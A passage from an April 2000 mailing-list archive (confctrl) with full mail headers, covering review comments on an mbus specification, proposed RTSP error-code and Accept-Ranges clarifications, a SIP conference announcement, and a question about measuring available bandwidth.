    Robert> * There is an inconsistency between sections 7.2 and 7.3:
    Robert> while section 7.2 defines that an mbus message consists of
    Robert> a message header and at least one mbus command, section
    Robert> 7.3 states that the header is followed by zero, or more,
    Robert> commands.  Section 7.3 is correct in my opinion, as it
    Robert> should be possible for an mbus message to only contain an
    Robert> acknowledgement, which is transmitted in the message
    Robert> header (as described in section 7.2).

Robert, 

true, section 7.2 needs to be corrected.

    Robert> * Appendix A describes the address element keys. The list
    Robert> provided in that section should in my opinion be extended
    Robert> with the key "id", which describes a unique identifier of
    Robert> the instance of the conferencing application. The rest of
    Robert> the appendix suggests this, but the key is just not
    Robert> mentioned in the list.

OK, the appendix should list the application specific address element
keys for conferencing applications *in addition* to the mandatory
id-element. There is however a problem because we talk of "5 address
element keys" but then name only 4 and in another paragraph below we
mention the "instance" element that has been replaced by "id". I will
fix that too and clarify the section.

    Robert> Furthermore, I wonder why section 8.5 defines that a "GO"
    Robert> message must be sent via unicast. What is the reason for
    Robert> not using multicast? Just that the message is by
    Robert> definition always sent to one receiver?

And that it has to be sent reliably -- which is only defined for
unicast messages. The idea is that an entity that has received a
"waiting" command records the sender address of the corresponding
message and uses this in a follow-up "go" command to signal that the
condition has been satisfied. In order to avoid that waiting entities
can block because they missed a "go" we decided to require the
reliable transmission.

-- 
Thanks for your comments,

	Dirk

From confctrl-owner  Sun Apr  2 12:07:07 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA22651
	for confctrl-outgoing; Sun, 2 Apr 2000 12:07:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA22646
	for <confctrl@zephyr.isi.edu>; Sun, 2 Apr 2000 12:07:05 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA07407
	for <confctrl@ISI.EDU>; Sun, 2 Apr 2000 12:07:21 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA03314;
	Sun, 2 Apr 2000 15:07:18 -0400 (EDT)
Message-ID: <38E79A66.B71823B2@cs.columbia.edu>
Date: Sun, 02 Apr 2000 15:07:18 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Anup Rao <anrao@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <38DC0A7E.A26A8B44@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anup Rao wrote:
> 

> a2) Description of error code 451 is not consistent. It is "Invalid parameter"
> in 7.1.1 and "Parameter not understood" everywhere else.

I edited this to 'Parameter Not Understood'.

> 
> a3) Clarification of  response code if some value within a header is not
> supported. I've add quite a few people ask me this : what is the response code
> if  a server gets a PLAY with absolute time,  and  does not support it.
> 
> Propose to use a new 5xx code. In addition, the reponse should include parts of
> the header that were not supported.
> 
> For example:
> 
> PLAY rtsp://audio.example.com/twister.en RTSP/1.0
> CSeq: 833
> Session: 12345678
> Range: smpte=0:10:20-;time=19970123T153600Z
> 
> RTSP/1.0 451 Parameter not understood
> Range: time=19970123T153600Z
> 
> meaning that the absolute time specification was not understood.
> 
> This should be backwards compatible.

I don't like this idea, as it doesn't conform with standard HTTP/SIP
practice. Why not simply have the status message include more detail? I
don't think it is likely that the application will want to display the
headers nor be able to recover automatically from this. In other words,

RTSP/1.0 451 Absolute time range header not understood

is much clearer to the user. An Accept-Ranges header (see below) can be
added for the benefit of software.

> 
> a4) Also,  the use of OPTIONS to query the support of such abilities(ie types of
> ranges supported)  in addition to querying extension and method support.
> 
> Currently OPTIONS can be used only to query method support. It is useful to have
> it query
> the supported  range types(smpte/absolute/npt) as well.
> 
> A possible way to do this is to include the headers in the request whose
> supported possibilities are desired. For example
> 
> OPTIONS *  RTSP/1.0
> Range: * (or empty)
> 
> RTSP/1.0 200 OK
> Range: npt, clock, smpte
> 
> For querying of server supported extensions, it is possible to use OPTIONS and
> the "Supported" header specified for SIP.
> 

Should probably be something like Accept-Range header, to be consistent
with the other Accept mechanisms. This would be automatically returned
by OPTIONS, just like the other Accept-* headers.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Apr  3 02:43:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA18442
	for confctrl-outgoing; Mon, 3 Apr 2000 02:43:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA18437
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 02:43:32 -0700 (PDT)
Received: from smtp1.cluster.oleane.net (smtp1.cluster.oleane.net [195.25.12.16])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA05578
	for <confctrl@isi.edu>; Mon, 3 Apr 2000 02:43:35 -0700 (PDT)
Received: from oleane  (dyn-1-1-028.Vin.dialup.oleane.fr [195.25.4.28])  by smtp1.cluster.oleane.net  with SMTP id KAA30648; Mon, 3 Apr 2000 10:41:52 +0200 (CEST)
Message-ID: <003401bf9d50$4ccfe220$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@smtp1.cluster.oleane.net;>
Subject: SIP 2000 International Conference
Date: Mon, 3 Apr 2000 11:37:58 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0031_01BF9D61.0F33BA20"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0031_01BF9D61.0F33BA20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Unknown and even rejected by many vendors and operators only a few =
months ago, SIP is on the brink of making a definitive name for itself.=20
Visit the SIP 2000 International Conference programme:
http://www.upperside.fr/basip.htm
=20



------=_NextPart_000_0031_01BF9D61.0F33BA20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<DIV>Unknown and even rejected by many vendors and operators only a few =
months=20
ago, SIP is on the brink of making a definitive name for itself. </DIV>
<DIV>Visit the SIP 2000 International Conference programme:</DIV>
<DIV><A=20
href=3D"http://www.upperside.fr/basip.htm">http://www.upperside.fr/basip.=
htm</A></DIV>
<DIV></FONT>&nbsp;</DIV></DIV></FONT></DIV>
<DIV>&nbsp;</DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0031_01BF9D61.0F33BA20--


From confctrl-owner  Mon Apr  3 10:39:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA04648
	for confctrl-outgoing; Mon, 3 Apr 2000 10:39:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA04642
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 10:39:41 -0700 (PDT)
Received: from post1.inre.asu.edu (post1.inre.asu.edu [129.219.13.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA17083
	for <confctrl@ISI.EDU>; Mon, 3 Apr 2000 10:39:57 -0700 (PDT)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V5.2-31 #33824) with ESMTP id <0FSG007KWBQHDJ@asu.edu> for
 confctrl@ISI.EDU; Mon,  3 Apr 2000 10:39:56 -0700 (MST)
Received: from endns1 (sss23-10.inre.asu.edu [129.219.101.190])
	by smtp.asu.edu (8.9.3/8.9.3) with SMTP id KAA08039; Mon,
 03 Apr 2000 10:39:53 -0700 (MST)
Date: Mon, 03 Apr 2000 10:39:53 -0700
From: Gamze Seckin <gamze@luxxon.com>
Subject: available bandwidth
To: confctrl@ISI.EDU, rem-conf@es.net
Message-id: <004101bf9d93$9fb732c0$a953fea9@eas.asu.edu>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Content-type: multipart/alternative;
	boundary="----=_NextPart_000_003E_01BF9D58.F274FFA0"
X-Priority: 3
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_003E_01BF9D58.F274FFA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I want to calculate the instantenous available link bandwidth on an IP =
network.
Can you give me pointers to any IETF RFCs or drafts about any work on =
this issue?

thank you very much,
gamze

------=_NextPart_000_003E_01BF9D58.F274FFA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I want to calculate the instantenous =
available link=20
bandwidth on an IP network.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Can you give me pointers to any IETF =
RFCs or=20
drafts&nbsp;about any work on this issue?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thank you very much,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>gamze</FONT></DIV></BODY></HTML>

------=_NextPart_000_003E_01BF9D58.F274FFA0--


From confctrl-owner  Mon Apr  3 10:52:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA05246
	for confctrl-outgoing; Mon, 3 Apr 2000 10:52:26 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05241
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 10:52:21 -0700 (PDT)
Received: from zed.isi.edu (zed.isi.edu [128.9.160.57])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id KAA03975;
	Mon, 3 Apr 2000 10:52:23 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Received: (from bmanning@localhost)
	by zed.isi.edu (8.8.7/8.8.6) id KAA15646;
	Mon, 3 Apr 2000 10:52:15 -0700 (PDT)
Message-Id: <200004031752.KAA15646@zed.isi.edu>
Subject: Re: available bandwidth
To: gamze@luxxon.com (Gamze Seckin)
Date: Mon, 3 Apr 2000 10:52:15 -0700 (PDT)
Cc: confctrl@ISI.EDU, rem-conf@es.net
In-Reply-To: <004101bf9d93$9fb732c0$a953fea9@eas.asu.edu> from "Gamze Seckin" at Apr 03, 2000 10:39:53 AM
X-Mailer: ELM [version 2.5 PL2]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

% Hi,
% 
% I want to calculate the instantenous available link bandwidth on an IP =
% network.
% Can you give me pointers to any IETF RFCs or drafts about any work on =
% this issue?
% 
% thank you very much,
% gamze
% 
% ------=_NextPart_000_003E_01BF9D58.F274FFA0--

for your traditional ethernet networks, the instantenous available
bandwidth is either all of it or none of it.

perhaps you would like to clarify your terminology a bit. :)


--bill

From confctrl-owner  Mon Apr  3 11:02:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA05678
	for confctrl-outgoing; Mon, 3 Apr 2000 11:02:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05673
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 11:02:12 -0700 (PDT)
Received: from post1.inre.asu.edu (post1.inre.asu.edu [129.219.13.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21153;
	Mon, 3 Apr 2000 11:02:27 -0700 (PDT)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V5.2-31 #33824) with ESMTP id <0FSG00I2MCS1HG@asu.edu>; Mon,
 3 Apr 2000 11:02:26 -0700 (MST)
Received: from endns1 (sss23-10.inre.asu.edu [129.219.101.190])
	by smtp.asu.edu (8.9.3/8.9.3) with SMTP id LAA01270; Mon,
 03 Apr 2000 11:02:25 -0700 (MST)
Date: Mon, 03 Apr 2000 11:02:26 -0700
From: Gamze Seckin <gamze@luxxon.com>
Subject: Re: available bandwidth
To: Bill Manning <bmanning@ISI.EDU>
Cc: confctrl@ISI.EDU, rem-conf@es.net
Message-id: <006701bf9d96$c5b211e0$a953fea9@eas.asu.edu>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
X-Priority: 3
X-MSMail-priority: Normal
References: <200004031752.KAA15646@zed.isi.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sorry for the abstract question..Here is my problem:
I want to know the instantaneous available bw over Internet for resource
management for a group of video conferencing hosts.
I recently read RFC 2676 (QoS Routing Mechanisms and OSPF Extensions).
it is mentioned there, that the available link can be computed via a
bandwidth management method (I could not find anything about it in OSPF 2).
I am thinking of a very simple method (e.g. periodic delay measurement etc.
to find this parameter).
I may be looking into wrong direction. Any help is appreciated.
thank you,
gamze
----- Original Message -----
From: Bill Manning <bmanning@ISI.EDU>
To: Gamze Seckin <gamze@luxxon.com>
Cc: <confctrl@ISI.EDU>; <rem-conf@es.net>
Sent: Monday, April 03, 2000 10:52 AM
Subject: Re: available bandwidth


> % Hi,
> %
> % I want to calculate the instantenous available link bandwidth on an IP =
> % network.
> % Can you give me pointers to any IETF RFCs or drafts about any work on =
> % this issue?
> %
> % thank you very much,
> % gamze
> %
> % ------=_NextPart_000_003E_01BF9D58.F274FFA0--
>
> for your traditional ethernet networks, the instantenous available
> bandwidth is either all of it or none of it.
>
> perhaps you would like to clarify your terminology a bit. :)
>
>
> --bill
>


From confctrl-owner  Mon Apr  3 11:06:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA05893
	for confctrl-outgoing; Mon, 3 Apr 2000 11:06:45 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05888
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 11:06:43 -0700 (PDT)
Received: from zed.isi.edu (zed.isi.edu [128.9.160.57])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05823;
	Mon, 3 Apr 2000 11:06:20 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Received: (from bmanning@localhost)
	by zed.isi.edu (8.8.7/8.8.6) id LAA15889;
	Mon, 3 Apr 2000 11:06:13 -0700 (PDT)
Message-Id: <200004031806.LAA15889@zed.isi.edu>
Subject: Re: available bandwidth
To: gamze@luxxon.com (Gamze Seckin)
Date: Mon, 3 Apr 2000 11:06:12 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning), confctrl@ISI.EDU, rem-conf@es.net
In-Reply-To: <006701bf9d96$c5b211e0$a953fea9@eas.asu.edu> from "Gamze Seckin" at Apr 03, 2000 11:02:26 AM
X-Mailer: ELM [version 2.5 PL2]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

 since the Internet is packet oriented, is what you want to do is check
the "instantaneous available bandwidth" between the source and 
destinations -on a per packet basis-?
 Yow!
You might want to look at trends between endpoints via pchar or
equivalent. These tend to take a while to build up a reasonable
basis for trend analysis.


% 
% Sorry for the abstract question..Here is my problem:
% I want to know the instantaneous available bw over Internet for resource
% management for a group of video conferencing hosts.
% I recently read RFC 2676 (QoS Routing Mechanisms and OSPF Extensions).
% it is mentioned there, that the available link can be computed via a
% bandwidth management method (I could not find anything about it in OSPF 2).
% I am thinking of a very simple method (e.g. periodic delay measurement etc.
% to find this parameter).
% I may be looking into wrong direction. Any help is appreciated.
% thank you,
% gamze
% ----- Original Message -----
% From: Bill Manning <bmanning@ISI.EDU>
% To: Gamze Seckin <gamze@luxxon.com>
% Cc: <confctrl@ISI.EDU>; <rem-conf@es.net>
% Sent: Monday, April 03, 2000 10:52 AM
% Subject: Re: available bandwidth
% 
% 
% > % Hi,
% > %
% > % I want to calculate the instantenous available link bandwidth on an IP =
% > % network.
% > % Can you give me pointers to any IETF RFCs or drafts about any work on =
% > % this issue?
% > %
% > % thank you very much,
% > % gamze
% > %
% > % ------=_NextPart_000_003E_01BF9D58.F274FFA0--
% >
% > for your traditional ethernet networks, the instantenous available
% > bandwidth is either all of it or none of it.
% >
% > perhaps you would like to clarify your terminology a bit. :)
% >
% >
% > --bill
% >
% 
% 


-- 
--bill

From confctrl-owner  Mon Apr  3 18:37:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA22650
	for confctrl-outgoing; Mon, 3 Apr 2000 18:37:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA22645
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 18:37:25 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.71.154.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA10320
	for <confctrl@ISI.EDU>; Mon, 3 Apr 2000 18:37:41 -0700 (PDT)
Received: from cisco.com (dhcp-71-147-167.cisco.com [171.71.147.167]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id SAA07640; Mon, 3 Apr 2000 18:36:39 -0700 (PDT)
Message-ID: <38E9472F.34A1022F@cisco.com>
Date: Mon, 03 Apr 2000 18:36:48 -0700
From: Anup Rao <anrao@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <38DC0A7E.A26A8B44@cisco.com> <38E79A66.B71823B2@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Henning Schulzrinne wrote:

> Anup Rao wrote:
> >
>
> > a2) Description of error code 451 is not consistent. It is "Invalid parameter"
> > in 7.1.1 and "Parameter not understood" everywhere else.
>
> I edited this to 'Parameter Not Understood'.
>
> >
> > a3) Clarification of  response code if some value within a header is not
> > supported. I've add quite a few people ask me this : what is the response code
> > if  a server gets a PLAY with absolute time,  and  does not support it.
> >
> > Propose to use a new 5xx code. In addition, the reponse should include parts of
> > the header that were not supported.
> >
> > For example:
> >
> > PLAY rtsp://audio.example.com/twister.en RTSP/1.0
> > CSeq: 833
> > Session: 12345678
> > Range: smpte=0:10:20-;time=19970123T153600Z
> >
> > RTSP/1.0 451 Parameter not understood
> > Range: time=19970123T153600Z
> >
> > meaning that the absolute time specification was not understood.
> >
> > This should be backwards compatible.
>
> I don't like this idea, as it doesn't conform with standard HTTP/SIP
> practice. Why not simply have the status message include more detail? I
> don't think it is likely that the application will want to display the
> headers nor be able to recover automatically from this. In other words,
>
> RTSP/1.0 451 Absolute time range header not understood
>

Just realized that my earlier  message was erroneous.. I proposed a new 5xx code, and
promptly followed it with a 4xx example. (I also neglected to mention that the
behavior speced in RFC2326  is to send a 501 - this is usually used for unsupported
*methods* and therefore somewhat ambiguous). I  am fine  with your comment about
simply having more detail in the message  instead of  my proposal though.

Comment on Accept-Ranges below...

> is much clearer to the user. An Accept-Ranges header (see below) can be
> added for the benefit of software.
>
> >
> > a4) Also,  the use of OPTIONS to query the support of such abilities(ie types of
> > ranges supported)  in addition to querying extension and method support.
> >
> > Currently OPTIONS can be used only to query method support. It is useful to have
> > it query
> > the supported  range types(smpte/absolute/npt) as well.
> >
> > A possible way to do this is to include the headers in the request whose
> > supported possibilities are desired. For example
> >
> > OPTIONS *  RTSP/1.0
> > Range: * (or empty)
> >
> > RTSP/1.0 200 OK
> > Range: npt, clock, smpte
> >
> > For querying of server supported extensions, it is possible to use OPTIONS and
> > the "Supported" header specified for SIP.
> >
>
> Should probably be something like Accept-Range header, to be consistent
> with the other Accept mechanisms. This would be automatically returned
> by OPTIONS, just like the other Accept-* headers.

I thought of this, but shied away from it simply because the notion of Accept-*
headers in HTTP seems very tied in  to the content (ie message body) in the response
rather than a parameter to a header to a subsequent request.

Still, what you propose  seems to be a reasonable progression in the usage of
Accept-*.

-Anup.

>
> --
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs


From confctrl-owner  Mon Apr  3 19:04:39 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA23578
	for confctrl-outgoing; Mon, 3 Apr 2000 19:04:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA23573
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 19:04:38 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA11494
	for <confctrl@ISI.EDU>; Mon, 3 Apr 2000 19:04:54 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id WAA13809;
	Mon, 3 Apr 2000 22:04:52 -0400 (EDT)
Message-ID: <38E94DC4.F4E180C2@cs.columbia.edu>
Date: Mon, 03 Apr 2000 22:04:52 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Anup Rao <anrao@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <38DC0A7E.A26A8B44@cisco.com> <38E79A66.B71823B2@cs.columbia.edu> <38E9472F.34A1022F@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anup Rao wrote:
> 

> Just realized that my earlier  message was erroneous.. I proposed a new 5xx code, and
> promptly followed it with a 4xx example. (I also neglected to mention that the
> behavior speced in RFC2326  is to send a 501 - this is usually used for unsupported
> *methods* and therefore somewhat ambiguous). I  am fine  with your comment about
> simply having more detail in the message  instead of  my proposal though.


> I thought of this, but shied away from it simply because the notion of Accept-*
> headers in HTTP seems very tied in  to the content (ie message body) in the response
> rather than a parameter to a header to a subsequent request.
> 
> Still, what you propose  seems to be a reasonable progression in the usage of
> Accept-*.

Actually, HTTP/1.1 has the Accept-Ranges header, so this seems in line
with the (re)use of the Ranges header. In HTTP, a server that doesn't
implement Ranges simply returns the whole object, which isn't what we
want. 

Any opinions as to whether to reuse 501 or create a new 55x status code?

> 
> -Anup.
> 
> >
> > --
> > Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Apr  3 21:44:51 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA29291
	for confctrl-outgoing; Mon, 3 Apr 2000 21:44:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA29286
	for <confctrl@zephyr.isi.edu>; Mon, 3 Apr 2000 21:44:50 -0700 (PDT)
Received: from inet-smtp3.oracle.com (inet-smtp3.us.oracle.com [205.227.43.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA19136
	for <confctrl@ISI.EDU>; Mon, 3 Apr 2000 21:45:07 -0700 (PDT)
Received: from usmail05.us.oracle.com (usmail05.us.oracle.com [130.35.61.101])
	by inet-smtp3.oracle.com (8.9.3/8.9.3) with ESMTP id VAA11878;
	Mon, 3 Apr 2000 21:45:06 -0700 (PDT)
Received: from us.oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by usmail05.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id VAA20479;
	Mon, 3 Apr 2000 21:45:06 -0700 (PDT)
Message-ID: <38E9738E.A5C77C4F@us.oracle.com>
Date: Mon, 03 Apr 2000 21:46:06 -0700
From: Dirk Pranke <dpranke@us.oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: Anup Rao <anrao@cisco.com>, confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <38DC0A7E.A26A8B44@cisco.com> <38E79A66.B71823B2@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There are also two problems that are related to the 'range type not implemented'
problem:

(1) what if only a subset of requestable values are permanently available?
(2) what if only a subset of requestable values are temporarily available?

In the first case, suppose I issue "Speed: 5.3" and only "Speed: 2.0" and "Speed: 8.0"
are available? Is this an error, or does the server round to an available value?
If it rounds, what is the acceptable precision of rounding, and does it round up or
down?

In the second, case, what if the different speed is temporarily unavailable?
(for example, suppose handling trick mode streams was more CPU intensive on the
server, and the resources are temporarily unavailable). Is this an error? Is it
acceptable for the server to return "Scale: 1.0" in this case (which is not trick
mode at all)?

Both these questions clearly apply to at least the Range:, Speed:, and Scale: 
headers, but may apply to others that aren't occuring to me at the moment ...
I believe the second case is addressed somewhat by Sean Sheedy's proposed RTSP
extensions, but the more general is still unclear.

-- Dirk

Dirk Pranke
Oracle Interactive Television

Henning Schulzrinne wrote:
> 
> Anup Rao wrote:
> >
> 
> >
> > a3) Clarification of  response code if some value within a header is not
> > supported. I've add quite a few people ask me this : what is the response code
> > if  a server gets a PLAY with absolute time,  and  does not support it.
> >
> > Propose to use a new 5xx code. In addition, the reponse should include parts of
> > the header that were not supported.
> >
> > For example:
> >
> > PLAY rtsp://audio.example.com/twister.en RTSP/1.0
> > CSeq: 833
> > Session: 12345678
> > Range: smpte=0:10:20-;time=19970123T153600Z
> >
> > RTSP/1.0 451 Parameter not understood
> > Range: time=19970123T153600Z
> >
> > meaning that the absolute time specification was not understood.
> >
> > This should be backwards compatible.
> 
> I don't like this idea, as it doesn't conform with standard HTTP/SIP
> practice. Why not simply have the status message include more detail? I
> don't think it is likely that the application will want to display the
> headers nor be able to recover automatically from this. In other words,
> 
> RTSP/1.0 451 Absolute time range header not understood
> 
> is much clearer to the user. An Accept-Ranges header (see below) can be
> added for the benefit of software.
> 
> >
> > a4) Also,  the use of OPTIONS to query the support of such abilities(ie types of
> > ranges supported)  in addition to querying extension and method support.
> >
> > Currently OPTIONS can be used only to query method support. It is useful to have
> > it query
> > the supported  range types(smpte/absolute/npt) as well.
> >
> > A possible way to do this is to include the headers in the request whose
> > supported possibilities are desired. For example
> >
> > OPTIONS *  RTSP/1.0
> > Range: * (or empty)
> >
> > RTSP/1.0 200 OK
> > Range: npt, clock, smpte
> >
> > For querying of server supported extensions, it is possible to use OPTIONS and
> > the "Supported" header specified for SIP.
> >
> 
> Should probably be something like Accept-Range header, to be consistent
> with the other Accept mechanisms. This would be automatically returned
> by OPTIONS, just like the other Accept-* headers.
> 
> --
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Apr  4 00:07:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA04573
	for confctrl-outgoing; Tue, 4 Apr 2000 00:07:10 -0700 (PDT)
